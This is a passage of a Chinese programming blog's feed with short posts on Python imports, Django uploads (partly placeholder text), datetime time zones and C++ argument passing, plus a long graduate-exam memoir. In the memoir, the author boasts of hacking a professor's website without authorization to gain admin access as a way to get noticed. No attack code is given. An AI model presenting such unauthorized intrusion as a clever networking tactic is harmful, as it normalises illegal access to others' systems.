class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># a.py</span><br><span class="line">from B import b</span><br><span class="line">def a():</span><br><span class="line"> pass</span><br><span class="line"> # some codes</span><br><span class="line"># b.py</span><br><span class="line">from A import a</span><br><span class="line">def b():</span><br><span class="line"> a.a()</span><br><span class="line"> #some codes</span><br></pre></td></tr></table></figure><p>修改后</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># a.py</span><br><span class="line">from B import b</span><br><span class="line">def a():</span><br><span class="line"> pass</span><br><span class="line"> # some codes</span><br><span class="line"># b.py</span><br><span class="line">import A</span><br><span class="line">def b():</span><br><span class="line"> A.a.a()</span><br><span class="line"> #some codes</span><br></pre></td></tr></table></figure><h3 id="方案三-将引用放到函数内部"><a href="#方案三-将引用放到函数内部" class="headerlink" title="方案三 将引用放到函数内部"></a>方案三 将引用放到函数内部</h3><p>如果你的代码是这样,那么这种方式是会奏效的。<br>修改前</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># a.py</span><br><span class="line">from B import b</span><br><span class="line">def a():</span><br><span class="line"> pass</span><br><span class="line"> # some codes</span><br><span class="line"># b.py</span><br><span class="line">from A import a</span><br><span class="line">def b():</span><br><span class="line"> a.a()</span><br><span class="line"> #some codes</span><br></pre></td></tr></table></figure><p>修改后</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># a.py</span><br><span class="line">from B import b</span><br><span class="line">def a():</span><br><span class="line"> pass</span><br><span class="line"> # some codes</span><br><span class="line"># b.py</span><br><span class="line">def b():</span><br><span class="line"> from A import a</span><br><span class="line"> a.a()</span><br><span class="line"> #some codes</span><br></pre></td></tr></table></figure><hr><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
最近在开发项目中,由于代码结构层级划分不合理,导致了循环引用(import)module失败的问题,这里总结一下~
</summary>
<category term="Python" scheme="http://blog.rookiehacker.org/categories/Python/"/>
<category term="Python" scheme="http://blog.rookiehacker.org/tags/Python/"/>
</entry>
<entry>
<title>Django中文件上传的小坑[WIP]</title>
<link href="http://blog.rookiehacker.org/2019/07/05/djangouploadfile/"/>
<id>http://blog.rookiehacker.org/2019/07/05/djangouploadfile/</id>
<published>2019-07-04T16:24:28.000Z</published>
<updated>2019-08-26T14:51:22.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><p>/<em>更换了电脑硬盘,先测试一下迁移效果<del>真坑,改日再填</del></em>/<br>某日,项目开发过程中,有一部分要涉及到文件的上传,由于项目是使用Django框架搭建的,所以这里看到做这个模块的前辈(此时这位前辈应该已经调到别的组去了。。),直接使用的Django的文件上传模块。可能是一开始只是为了实现文件上传功能吧,看到前辈的代码并没有具体考虑上传过程中的各种具体情况,只是好心地在旁边注释了一下深拷贝和浅拷贝的问题。项目接受后</p><h1 id="关于上传"><a href="#关于上传" class="headerlink" title="关于上传"></a>关于上传</h1><p>Django的文件上传,xxxxxx</p><h1 id="关于深浅copy"><a href="#关于深浅copy" class="headerlink" title="关于深浅copy"></a>关于深浅copy</h1><h2 id="浅拷贝"><a href="#浅拷贝" class="headerlink" title="浅拷贝"></a>浅拷贝</h2><p><code>copy.copy</code>,xxxxxx</p><h2 id="深拷贝"><a href="#深拷贝" class="headerlink" title="深拷贝"></a>深拷贝</h2><p><code>copy.deepcopy</code>,xxxxxxxxx</p><h1 id="关于zipfile"><a href="#关于zipfile" class="headerlink" title="关于zipfile"></a>关于zipfile</h1><p><code>zipfile.ZipFile('xxxx.zip')</code><br><code>zipfile.is_zipfile('xxxxx.zip')</code></p><h1 id="处理方案"><a href="#处理方案" class="headerlink" title="处理方案"></a>处理方案</h1><p>file.seek(0, 0)</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>深浅拷贝<br>zipfile<br>Django文件上传<br>文件指针<br>…</p>]]></content>
<summary type="html">
项目开发过程中用到了Django中的文件上传模块,结果测试的时候发现了bug,处理了一下,对于文件上传和Python的copy又有了新的了解~
</summary>
<category term="Python" scheme="http://blog.rookiehacker.org/categories/Python/"/>
<category term="Python" scheme="http://blog.rookiehacker.org/tags/Python/"/>
<category term="Django" scheme="http://blog.rookiehacker.org/tags/Django/"/>
</entry>
<entry>
<title>Python中关于datetime的操作</title>
<link href="http://blog.rookiehacker.org/2019/06/18/python-datetime/"/>
<id>http://blog.rookiehacker.org/2019/06/18/python-datetime/</id>
<published>2019-06-18T12:31:35.000Z</published>
<updated>2019-12-18T12:35:02.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="Datetime中offset-naive与offset-aware时间的计算"><a href="#Datetime中offset-naive与offset-aware时间的计算" class="headerlink" title="Datetime中offset-naive与offset-aware时间的计算"></a>Datetime中offset-naive与offset-aware时间的计算</h2><p>在使用Django时,默认是开启对多时区的支持的,在获取时间的时候会是如下形式:<br><code>datetime.datetime(2014, 4, 18, 15, 37, 7, tzinfo=<UTC>)</code><br>我们可以利用django.utils.timezone中提供的localtime方法来将该时间转换为本地时间:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">>>> dt</span><br><span class="line">datetime.datetime(2014, 4, 18, 15, 37, 7, tzinfo=<UTC>)</span><br><span class="line">>>> localtime(dt)</span><br><span class="line">datetime.datetime(2014, 4, 18, 23, 37, 7, tzinfo=<LocalTimezone>)</span><br></pre></td></tr></table></figure><p>有时候,我们需要将该时间与当前时间做比较,例如计算差值,你可能会想到直接这么做:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">>>> import datetime</span><br><span class="line">>>> now = datetime.datetime.now()</span><br><span class="line">>>> now - dt</span><br></pre></td></tr></table></figure><p>不过这是不对的,并告知如下错误:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Traceback (most recent call last):</span><br><span class="line"> File "<console>", line 1, in <module></span><br><span class="line">TypeError: can't subtract offset-naive and offset-aware datetimes</span><br></pre></td></tr></table></figure><p>问题就出在利用datetime.datetime.now()得到的当前时间是offset-naive的,而另外一个却是offset-aware的,因此我们需要将这里的dt转成与now一样的形式,可以这么做:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">>>> dt = dt.replace(tzinfo=None)</span><br><span class="line">>>> dt</span><br><span class="line">datetime.datetime(2014, 4, 18, 15, 37, 7)</span><br><span class="line">>>> now - dt</span><br><span class="line">datetime.timedelta(0, 34108, 443000)</span><br></pre></td></tr></table></figure><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/06/18/python-datetime/' title='Python中关于datetime的操作' >Python中关于datetime的操作</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/06/18/python-datetime/' title='Python中关于datetime的操作' >http://blog.rookiehacker.org/2019/06/18/python-datetime/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
开发过程中遇到的关于Python中datetime的一些问题
</summary>
<category term="Python" scheme="http://blog.rookiehacker.org/categories/Python/"/>
<category term="Python" scheme="http://blog.rookiehacker.org/tags/Python/"/>
</entry>
<entry>
<title>C++ 值传递、指针传递、引用传递详解</title>
<link href="http://blog.rookiehacker.org/2019/06/18/cpp-args/"/>
<id>http://blog.rookiehacker.org/2019/06/18/cpp-args/</id>
<published>2019-06-18T12:03:23.000Z</published>
<updated>2019-12-18T12:20:44.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>最近写了几篇深层次讨论数组和指针的文章,其中提到了“C语言中,所有非数组的形式参数传递均以值传递形式”<br>数组和指针背后——内存角度<br>语义”陷阱”—数组和指针<br>而关于值传递,指针传递,引用传递这几个方面还会存在误区, 所有我觉的有必要在这里也说明一下~下文会通过例子详细说明</p><h2 id="值传递"><a href="#值传递" class="headerlink" title="值传递"></a>值传递</h2><p>形参是实参的拷贝,改变形参的值并不会影响外部实参的值。从被调用函数的角度来说,值传递是单向的(实参->形参),参数的值只能传入,不能传出。当函数内部需要修改参数,并且不希望这个改变影响调用者时,采用值传递。</p><h2 id="指针传递"><a href="#指针传递" class="headerlink" title="指针传递"></a>指针传递</h2><p>形参为指向实参地址的指针,当对形参的指向操作时,就相当于对实参本身进行的操作</p><h2 id="引用传递"><a href="#引用传递" class="headerlink" title="引用传递"></a>引用传递</h2><p>形参相当于是实参的“别名”,对形参的操作其实就是对实参的操作,在引用传递过程中,被调函数的形式参数虽然也作为局部变量在栈中开辟了内存空间,但是这时存放的是由主调函数放进来的实参变量的地址。被调函数对形参的任何操作都被处理成间接寻址,即通过栈中存放的地址访问主调函数中的实参变量。正因为如此,被调函数对形参做的任何操作都影响了主调函数中的实参变量。</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/06/18/cpp-args/' title='C++ 值传递、指针传递、引用传递详解' >C++ 值传递、指针传递、引用传递详解</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/06/18/cpp-args/' title='C++ 值传递、指针传递、引用传递详解' >http://blog.rookiehacker.org/2019/06/18/cpp-args/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
最近写了几篇深层次讨论数组和指针的文章,记一下C++值传递、指针传递、引用传递的区别。
</summary>
<category term="代码程序" scheme="http://blog.rookiehacker.org/categories/%E4%BB%A3%E7%A0%81%E7%A8%8B%E5%BA%8F/"/>
<category term="C++" scheme="http://blog.rookiehacker.org/tags/C/"/>
</entry>
<entry>
<title>【考研之路】回首漫漫考研路</title>
<link href="http://blog.rookiehacker.org/2019/03/30/fightforpku/"/>
<id>http://blog.rookiehacker.org/2019/03/30/fightforpku/</id>
<published>2019-03-29T17:56:40.000Z</published>
<updated>2019-12-18T10:08:28.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="写在前边"><a href="#写在前边" class="headerlink" title="写在前边"></a>写在前边</h1><p>漫漫考研路,今日总算可以告一段落了。其实复试完就有预感,录取是板上钉钉的事,但是直到2019年3月26日下午18:25收到拟录取邮件的那一刻,整个悬着的心才算真的放下。如今回过头来,两年时间匆匆而过,不知道自己失去了多少,而又得到了多少。当复试完走出校门,暖暖的阳光打在脸上,和煦的春风吹进了心里,听着最爱的音乐,走在大兴那“乡间的小路上”,一个声音在召唤。哈哈哈哈废话说这么多,我吹不下去了。是时候总结一下这漫长的战斗了。<br><img src="http://rookiehacker.org:8888/images/2019/03/30/81d2cb9d12494f08a3b1087df15e16d5.jpg" alt="北大不是梦~"></p><h1 id="最终成绩"><a href="#最终成绩" class="headerlink" title="最终成绩"></a>最终成绩</h1><p><img src="http://rookiehacker.org:8888/images/2019/03/30/3ec31a818e03ef0a31babb1623cfce55.jpg" alt="拟录取!"><br><img src="http://rookiehacker.org:8888/images/2019/03/30/82589c7aa4999e193f2046b37132b4c8.png" alt="总成绩和总排名(包括技术类非技术类)"><br><img src="http://rookiehacker.org:8888/images/2019/03/30/4b4106eb312306395d1fd317e2f85b61.png" alt="英语一成绩"><br><img src="http://rookiehacker.org:8888/images/2019/03/30/a028ff8637a928c4208972f75920fcf7.png" alt="政治一成绩"><br><img src="http://rookiehacker.org:8888/images/2019/03/30/8687fdcd153f8ce6e8ee632e016be1b0.png" alt="数学一成绩"><br>专业课成绩不能直接网上复核,所以看不到具体小分。</p><h1 id="先从一战说起"><a href="#先从一战说起" class="headerlink" title="先从一战说起"></a>先从一战说起</h1><p>2017年,一战打响。那一年我的目标不在帝都,而在魔都,王师南下,剑指蛤交。本以为万千军中取上将首级本是探囊取物一般,谁料折戟math,败得一塌涂地。其实那一年机会很大,但是战略运用不当,本末倒置,吃了败仗,也许是年轻吧。战绩可谓惨淡,政治英一数一408:58+67+65+105 =295。对,你没看错,数学比英语都低。其实我也是不相信的,我知道考得不好,但是没想到是如此不好。记得走出考场,和室友汇合时(我俩正好分在了同一个考点),他一脸沮丧,生气地对我说下午不考了,要直接回学校。我好说歹说,软磨硬泡把他又拉进了考场,我说我考得也不好,再试试呗,结果谁也说不准呢。就这样一脸懵逼地结束了2天的战斗,失去了梦想一样,晃晃悠悠回到了学校。最后结果出来了,发现平时在一起复习的,一个个都比我考得好。感觉这样子是进不了复试了,但是我还是抱着一丝幻想地在等待着。终于,上交出通知了,专硕线 英语≥55 分;政治≥50 分;业务课一≥70 分;业务 课二≥85 分 总分≥334 。彻底没希望了。但是调剂也没有什么好的选择,身边的同学考的比我好的有学上,考的比我差的也有学上,郁闷死了。其实上海和北京都会有大家所说的压分现象,事实也是如此,公共科目,一般会比其他地区少一些,但是这不是失败的理由,政治英语不谈,总体来说还可以,专业408感觉一般,但也不是非常差,据说那年408均分90,这么看还应该算是中上水平。但是数学,这个为什么这么差呢,我想了一下当时做题的情景,我记忆犹新,做线代时我竟然有点分不清何为等价,何为相似,何为合同、、、、、、其实,这一点都不奇怪,因为复习后期,我就整天只顾做题,没去看课本了,最后那段时间也是全力准备英语和政治,基本上每天安排给数学的时间很少了,所以最后满脑子都是政治英语,这么看数学考成这样,还真不算少。痛定思痛,决定二战,看我卷土重来!<br>毕业的脚步来得飞快,做毕设,拍毕业照,参加毕业典礼,吃散伙饭……一转眼,就要和这个似乎还没有熟悉的校园说再见了,而这段难忘的时光也让自己暂时忘却了一战失利的悲伤。可天下没有不散的宴席,是时候规划一下二战了。凭我对自己的了解,在家效率肯定不高,正好山科有位高中同学也要二战,并且租房什么的也比青岛市里便宜,便决定去山科尝试一下,陌生的环境应该可以让自己更专注吧。其实,第一年并不知道还有软微这么个神奇的地方,凭着对魔都的向往、对Oops战队的崇拜以及对女神的……,我义无反顾选择了sjtu,都说408难,正合我意,结果确实不简单,最后只得了105……而软微,卧槽,我真后悔当初我是多么的死心眼啊,竟然可以有这么好的地方!性价比太高了啊!名额多,科目0少(3门专业课,没有组成),关键还是北大,然后据说还有300分录取的???🤓🤓🤓干!</p><h1 id="开始二战"><a href="#开始二战" class="headerlink" title="开始二战"></a>开始二战</h1><h2 id="预备阶段"><a href="#预备阶段" class="headerlink" title="预备阶段"></a>预备阶段</h2><p>先说教材,这次看了一下网上别人写的经验贴,数学很多人推荐李范全书,李王全书,然后结合自己使用了一年张宇18讲的体会和感悟,觉得张宇的书可能不太适合我,因为看书能看懂,做题不会做😑😑不知道是不是只有我有这个感受(第一年的感受),可能他的书更适合入门??然后选了李范全书,专攻高数部分,线代概率铁打的李永乐和王世安,结合他俩的视频,感觉效率很高。然后英语一直都是进行时运转着。英语基础还行吧,四六级裸考分别521、451分不高,但是也懒得复习懒得刷。所以上半年差不多就只是记单词。之前用过各种软件,感觉对自己效果并不好,就整了本考研词汇乱序版,就绿色的那本,挺厚的,50个list,开始时每天一个list,后期速度可以快点。以上上半年,暂且称为预备阶段。6月中旬搬到山科,开始全天候复习!下面详细介绍一下下半年的三个阶段,也是整个复习过程中最重要的阶段。</p><h2 id="第一阶段"><a href="#第一阶段" class="headerlink" title="第一阶段"></a>第一阶段</h2><p>第一阶段,这一阶段一直持续到暑假开学,大概6月中-9月初。这一阶段很重要,是打基础的关键时期,因为是科班,所以专业课我并没有急着复习,这段时间都给了数学英语(数学是大头)。一般早上6点20左右起,40吃饭去教室,7点左右到教室,背英语单词,1个list,背书之后默写几遍,记得每个list最开始是所有词汇的汇总,可以看这个,心里想对应中文意思,不熟的做标记。这里也有技巧,最好每次用不同标记,过第一遍的时候不熟的记△,过第二遍还不熟记□,第三遍还不熟记★,要是再不熟的单词,数量也不多了,可以拿出来专门强化记忆了。还有记单词不能光记单词,下面的例句什么的也要看看,就当练语法了,还可以学习下句式。有些list后面有些名人名言,可以积累起来,写作文的时候用上就是亮点啊。记单词大概能持续到8点吧。然后就是数学时间。复习数学,我的复习顺序是先复习高数,高数复习完再复习线代,最后复习的概率论。高数先是按部就班看课本,做课后习题,记得多做笔记,别整天水群,也别被别人节奏打乱,按照自己的计划来。其实这次感觉自己刷题并不多,只做了课后题,真题和660中的部分题目,感觉还是做的太少,最后考试结果也证实了这点。所以,有时间,有能力,还是要多做题,切忌眼高手低,各种题目见得多了,理解的也就全面到位了,考场上也就能游刃有余。高数部分,我并没有看视频,只跟课本,这个根据自己情况来,感觉基础好,建议直接看课本,基础差,可以边跟视频边看课本,我是考了一年多少有点基础,所以为了省时间,就直接看课本了。高数结束,就开始线代和概率,这部分内容容易点,可以一边看视频一遍看课本相应部分,视频直接李永乐王世安,资源相信各位都能找到,b站,百度云,多动手就有了。复习数学基本上可以持续到晚上9点半教室关门,如果看数学太单调,中间也可以穿插一下英语,灵活安排即可。总体上这段时间数学的时间安排大概高数:线代概率=2:1左右,英语每天一两个小时,每天上午背单词,也可以在下午或者晚上安排一段时间做几篇阅读来培养手感。这一阶段用到的资料有李范全书,李永乐线代讲义,王世安概率讲义,历年高数真题,李永乐660题,英语历年真题(好像30年吧,张剑的太贵了,直接淘宝买的那种牛皮纸袋装的,平时练阅读直接用真题感觉就行了,也可以配合其他模拟题,但是真题一定记得留下最近5、6年的模拟用,数学也是)。这个过程结束,基本就9月份开学了。</p><h2 id="第二阶段"><a href="#第二阶段" class="headerlink" title="第二阶段"></a>第二阶段</h2><p>然后开始第二阶段,这一段时间9月初到10月末,主要用来复习专业课(针对跨考后面有建议)。我的具体时间安排大概是这样的,基本作息上午,铁打不动的英语背单词时间(这段时间应该已经过了两三遍词汇了,速度可以略有提升)然后上午数学,下午专业课,数学复习以做真题加总结为主,专业课王道408课本,感觉知识点基本上都覆盖到了,然后再加上组成中对应的介绍中断的章节(如果考的是408,4本都看就行了,如果专业课是这四门中某几门,那根据具体情况看相应课本即可),所以建议四本书都买,没用过其他专业课复习资料,关于其他资料如何,暂不评论。题目的话除了课后题就是408真题和软微历年真题回忆版,自己王道出的模拟题(感觉质量还可以),那本王道模拟题有题目还有知识点总结,感觉特别棒,特别适合后期串联知识点!强烈建议购买(没收广告费啊)!三门专业课的时间,基本平摊,这个看自身情况,合理安排即可。晚上一般是英语+专业课,做题+总结。数学题目做得差不多了,可以做一下模拟卷,张宇8套卷4套卷,难得不要不要的,劝退效果显著,我好像没做完过,总结一下即可,没必要太在意,模拟成绩,推荐李永乐6+2,难度较小,利于提升信心,难度也和真题接近。鉴于这两年李林的表现,推荐有时间的可以做做他考前出的模拟题,说不定就碰上原题了呢😂在这期间没动过政治。</p><h2 id="第三阶段"><a href="#第三阶段" class="headerlink" title="第三阶段"></a>第三阶段</h2><p>最后第三阶段,11月初到考前,主要是数学专业课各科总结模拟冲刺+政治英语突击。数学建议过一遍课本巩固知识点,以防遗忘。专业课知识点更多,更不能放松。也要多过几遍,做好题目笔记。政治肖秀荣1000题刷起来,多刷几遍,和你考驾照做科一一样,形成傻瓜式映射即可。感觉1000题覆盖面够了,那本厚的精讲精练我这次没看也没买(上次买了但是也没看完,感觉太多了,看完太浪费时间,投入产出比不高),其实做一遍1000题的过程就是一次完整的复习过程,我第一遍做的时候,把答案写在一个本子上,然后对照答案,标记一下错误的。这样在做了大概两三遍之后,知识点基本都熟悉了,正确率也上来了,然后就可以着重去复习错误率高的题目了。要是从头到尾复习精讲精练的话,会有很多没用的内容,还不如直接从考点入手。记得肖八肖四一上市就买,多做几遍,只做选择题。然后进入12月份后,每天早上背肖八肖四大题和错误率高的选择题,必须滚瓜烂熟,每天早上背王江涛的考研英语高分写作中的必背范文,积累其中优秀的词汇表达、句式和文章结构,不能死记硬背,最好是同样的话题,可以形成自己的语言,主要是用这个来熟悉发现作文的出题方向和思路。这期间每一门的时间要分配合理,千万不要感觉自己这门学得好就不复习,在那种高强度高压的复习环境中,可能三四天不看这一门,期中的知识点就忘记好多,等到后期时间更紧迫,压力更大,再想拾起来,就费劲了。所以各科一定要雨露均沾!可以有所侧重,但绝不能拆东墙补西墙!要形成自己的体系。针对跨考,建议专业课复习提前,可以暑假阶段就开始,可以白天数学晚上专业课,合理安排复习时间。然后最好是有能证明自己计算机技能的东西,包括编程比赛,计算机相关项目,证书,论文等等,别一穷二白,导师还是喜欢有基础的能干活的同学。</p><h2 id="关于复试"><a href="#关于复试" class="headerlink" title="关于复试"></a>关于复试</h2><h3 id="复试过程"><a href="#复试过程" class="headerlink" title="复试过程"></a>复试过程</h3><p>考完之后,适当休息,接下来要好好准备复试复试了。软微复试还是挺简单的,复试时考场门口有一张本日参加复试的同学名单,名单基本上前一半同学上午,后一半下午,首先参加上午(or下午)复试的所有同学进考场进行10分钟的手写代码测试,然后一个一个进行单独面试。可能是照顾跨考吧,没机试,只有短短十五分钟面试,这次临时加的手写代码环节,让不少同学措手不及啊,三道题目三选一,都很基础,一般都能暴力,第一题貌似最简单,用c/c++/java任意一门语言10分钟写出其主要代码即可。我写了第一道,第二道第三道把自己的思路和想法也写上了。进门复试,一共五位老师,首先英语自我介绍,或者导师用英语提问题(这个可以看各个群里或者下面分享的资料),我复试前一周结合模板准备一篇自我介绍,一页纸正反面写满了,复试前熟悉了几遍,进去后自我介绍完一般是导师会用英语提问几个问题,可能是我的自我介绍太长😂或者我口语太好???介绍完,导师直接说了一声”Good!”就直接下一环节了😂据其他同学反映,英语问题单范围挺广,关于学生自己、家庭家乡、北大、实习以及专业课的很多知识等都有涉及。下面就是考察你专业知识了。一般会有一两位老师先是根据你的手写代码有针对性的问问你的思路什么的,解释一下代码优缺点等等,然后根据你的综述或者简历进行提问,包括问一些专业名词,解释一些专业知识,或者让你介绍你的项目等等。所以这里强烈联系复试时准备几份简历(五份左右)内容不用太多,突出自己的能力,写写自己做的项目(最好计算机相关),这样也便于掌控一下复试的方向,让导师尽可能问自己有准备的问题,比如这次我就谈了一下简历上写的做过的一个身份识别软件和CTF比赛相关的东西,最后,有位老师还可能会问你一个智力题,什么烧绳子,跑楼梯,倒水,站队等等,思路开阔就行,不必拘泥准确答案。总之,复试是一个让你给导师展现自己能力的机会,要尽可能展现自己的长处和优点,整个过程要积极主动,让导师记住自己!千万别拘谨被动,被牵着鼻子走……反正我复试完,有种意犹未尽的感觉,有好多东西都还没来得及展示(吹),就有说有笑的结束了,全程感觉很放松,最后也得到了不错的成绩(87分,让我排名提升了40名,从初试115直接到总排74)。整个过程,大概就是这样吧~</p><h3 id="复试机试准备建议"><a href="#复试机试准备建议" class="headerlink" title="复试机试准备建议"></a>复试机试准备建议</h3><p>其实这次复试,自己准备的也挺匆忙的,大概过程就是先过了一遍408王道单科书课本(数据结构,网络,操作系统以及组成中关于中断的部分),对专业课基本知识又复习了一遍。然后一开始并不知道有没有机试,就准备了机试,看的是王道的机试指南和刘汝佳的算法竞赛入门经典第二版(其实没怎么看这本因为复试通知没有机试),对基本算法又复习了一遍。复试通知告知没有机试,让我一度复习得很放松,但是复试第一天上午突然传出要手写代码,而我在第一天下午复试,针对上午的题目稍微做了一下准备,而下午遇到的题目也基本证实还都算是跨考友好型题目吧(三选一,挑最简单的暴力一下就可以了),总结一下代码考察的重点,kmp,递归,动态规划,贪心等。而这次手写代码的形式,感觉在全国范围内可能是首次出现吧,所以会不会延续这种模式并不确定。毕竟计算机专业对动手能力要求高,还是提前准备一下为好,复试复习时可以刷一刷OJ(哪家oj都可以,像poj,leetcode等等,能起到训练效果就好),保持手感,以不变应万变。</p><h2 id="关于联系导师"><a href="#关于联系导师" class="headerlink" title="关于联系导师"></a>关于联系导师</h2><p>我感觉复试前联系导师还是有用的,尽管很多人鼓吹无用论以及当前规定也不允许复试前考生见导师,这就使得如何联系导师具有一定的”技巧性”。在我查到成绩之前,自己写了一封自荐信模板,以及准备了简历模,模板的大部分内容是一样的,只替换相应称呼以及最下面对导师研究方向的兴趣就可以。我从官网筛选出四位研究方向我感兴趣并且学术能力强(身上title多,发的论文多并且仍在发,可以看论文发表时间自行判断)的教授。成绩出来第二天,其实是很忐忑的,因为今年太炸了,而我总排230+,867技术类排名115-120,技术类招收名额并不确定,就知道总人数收270。而心中有疑问,不正是联系导师就可以解决的嘛😀所以就把邮件附上个人简历分别发给了四位老师,这里有个小技巧,就是发邮件时选择回执功能,QQ邮箱是有这个功能的,这样导师打开邮件,你这边会收到提示信息,这样但是看没看邮件就心里有数了。然后就是等待啊,最后只有一位导师回复了我,还是研究我最喜欢的方向的那位导师,说欢迎我报考他的研究生并说在复试时会关注我。我很激动,起码感觉能进复试了,但是还是有好多疑问,这时候就要进一步联系了,那就是去当面拜访导师。要当面拜访最好是有个合适的理由或者引子。比如对导师研究方向感兴趣,而最近正在搞一个什么相关问题,并且有了新的成果发展,想当面交流一下。一定要突出自己的学术能力或者技术能力,让导师感觉你这个人值得见,如果啥都没有但是分数够理想也可以谈谈自己对但是这个方向的理解自己自己的打算和近期的努力情况。如果亲自面见感觉困难(如距离学校路途遥远),也可以电话邮件联系,但是一定要让导师看到自己的价值,不然你这可就是”骚扰”了……而我的经历可能听起来有点炫酷😂因为我选的安全方向,学的也是这个,然后我就把这个导师的网站给”日”了(渗透了一遍,拿到了admin权限,虽然最后导师说是网站域名过期了,现在域名并不是他们在维护了,但这个过程一样刺激不是吗?),然后记录了一下整个过程并且提出了修复建议,然后通过邮件发给了导师,并且在邮件中说希望有机会能亲自拜访一下导师。这次果然很受导师重视,回复的内容也更多了,并且加了我微信,约了时间见了面。见面后谈了很多,发现导师的方向正视自己喜欢的方向!聊了一下关于软微的培养方式等问题,消除了心中很多疑问,也再次坚定了进入复试的信心(其实那个时候导师也不知道具体名额分配情况还有别指望给你透复试题,根本不存在的,复试题目看往年回忆版足够了),所以联系导师感觉还是必要的。文章最后是资料链接,需要的自取。</p><h2 id="关于复试后的一些建议"><a href="#关于复试后的一些建议" class="headerlink" title="关于复试后的一些建议"></a>关于复试后的一些建议</h2><p>因为我这次是二战,初试结束后就立刻投了简历,找了个实习,来到了梦寐以求的公司,身边一个个都是大佬,我快菜死了😭鸭梨大。。。如果你也是二战的,复试过后也别闲着,可以找个工作干着,一方面赚点学费,另一方面学点技术,这些也都可以成为你复试的谈资~如果是应届生,也可以找个实习或者专心搞毕设(我司就有好多大三大四的实习生,而我是如此菜:-()。实习可以提前一段时间找,但是工作时间肯定会占用复试复习时间,这个要自己拿捏好规划好。我是年后初七开班就来公司报道了,平时复习时间就在每天早上晚上和周末(这是我的安排,我感觉够用了,因人而异,这个看自身情况合理安排就好了,不要学我啊🤓因为好多公司加班挺严重的,平时可能根本就没有时间就给你复习哦~所以如果是求稳,那就好好准备复试吧~)。如果拿到拟录取通知,可能的话也可以提前联系导师去搬砖啊。这些都是很好的选择。当然,奋斗了这么久,早已是身心疲惫,出去看看祖国的壮丽山河放松一下感觉也是棒棒的啊!(立下flag:实习结束我要去浪!!!!)总之别让自己闲着就好啦~</p><h1 id="福利"><a href="#福利" class="headerlink" title="福利"></a>福利</h1><p>最后这里是初试以及复试的一些资料,赠人玫瑰,手有余香~祝大家都能考上理想的学校,加油!!!<br>408专业课及北大计算机考研资料:<a href="https://pan.baidu.com/s/16VUvAmZbUa__sdw3FfmI_A">提取码:cc8i</a><br>北大软微历年考研数据分析以及复试资料:<a 